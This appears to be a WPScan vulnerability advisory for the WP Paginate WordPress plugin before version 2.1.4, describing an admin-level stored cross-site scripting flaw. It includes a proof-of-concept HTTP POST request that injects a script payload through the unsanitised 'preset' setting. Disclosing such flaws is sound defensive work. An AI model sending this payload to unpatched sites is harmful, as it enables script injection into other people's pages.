WordPress Plugin Vulnerabilities
WP Paginate < 2.1.4 - Admin+ Stored Cross-Site Scripting
Description
The plugin does not sanitise and escape its preset settings, allowing high privilege users such as admin to perform Cross-Site Scripting attacks even when the unfiltered_html is disallowed
Proof of Concept
POST /wp-admin/options-general.php?page=wp-paginate.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 385 Connection: close Cookie: [admin Cookies] _wpnonce=6dbb0cc5f5&title=Pages%3A&previouspage=%26laquo%3B&nextpage=%26raquo%3B&position=none&font=font-inherit&before=%3Cdiv+class%3D%22navigation%22%3E&after=%3C%2Fdiv%3E&empty=on&css=on&range=3&anchor=1&gap=3&wp_paginate_save=Save+Changes&preset='%3e%3cscript%3ealert(/XSS/)%3c%2fscript%3e
Affects Plugins
Fixed in 2.1.4 References
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Park Won Seok
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-01-05 (about 3 years ago)
Added
2021-01-07 (about 3 years ago)
Last Updated
2022-04-09 (about 2 years ago)
WPScan 